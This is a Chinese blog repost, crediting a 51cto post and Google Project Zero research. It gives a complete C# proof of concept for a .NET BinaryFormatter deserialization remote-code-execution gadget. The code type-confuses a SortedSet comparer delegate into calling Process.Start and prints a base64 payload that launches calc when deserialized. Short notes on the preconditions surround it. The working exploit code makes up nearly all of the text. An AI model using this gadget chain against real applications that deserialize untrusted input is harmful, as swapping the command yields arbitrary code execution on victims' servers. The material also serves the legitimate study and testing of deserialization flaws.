https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
.Net反序列化导致RCE的样例,有两点限制:
- BinaryFormatter::Deserialize反序列化的内容用户可控
- .Net SDK大于等于4.5
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization.Formatters; using System.Runtime.Serialization.Formatters.Binary; using System.Text; using System.Threading.Tasks; namespace Deserializer { class Program { public static void getCalcPayload() { // Create a simple multicast delegate Delegate d = new Comparison<string>(String.Compare); Comparison<string> d2 = (Comparison<string>)MulticastDelegate.Combine(d, d); // Create set with original comparer IComparer<string> comp = Comparer<string>.Create(d2); SortedSet<string> set = new SortedSet<string>(comp); set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d2); BinaryFormatter formatter = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }; using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, set); int position = (int)stream.Position; byte[] array = stream.GetBuffer(); Array.Resize<byte>(ref array, position); String payload = Convert.ToBase64String(array); Console.WriteLine("Calc.exe PayLoad:" + payload); //FileSystemUtils.Pullfile(payload, "payload_calc.dat"); stream.Position = 0; formatter.Deserialize(stream); } } static void TypeConfuseDelegate(Comparison<string> comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object[] invoke_list = comp.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(string[] args) { getCalcPayload(); } } }
转载于:https://blog.51cto.com/duallay/2045127
最后
以上就是高挑大米最近收集整理的关于.Net反序列化漏洞之BinaryFormatter的全部内容,更多相关内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复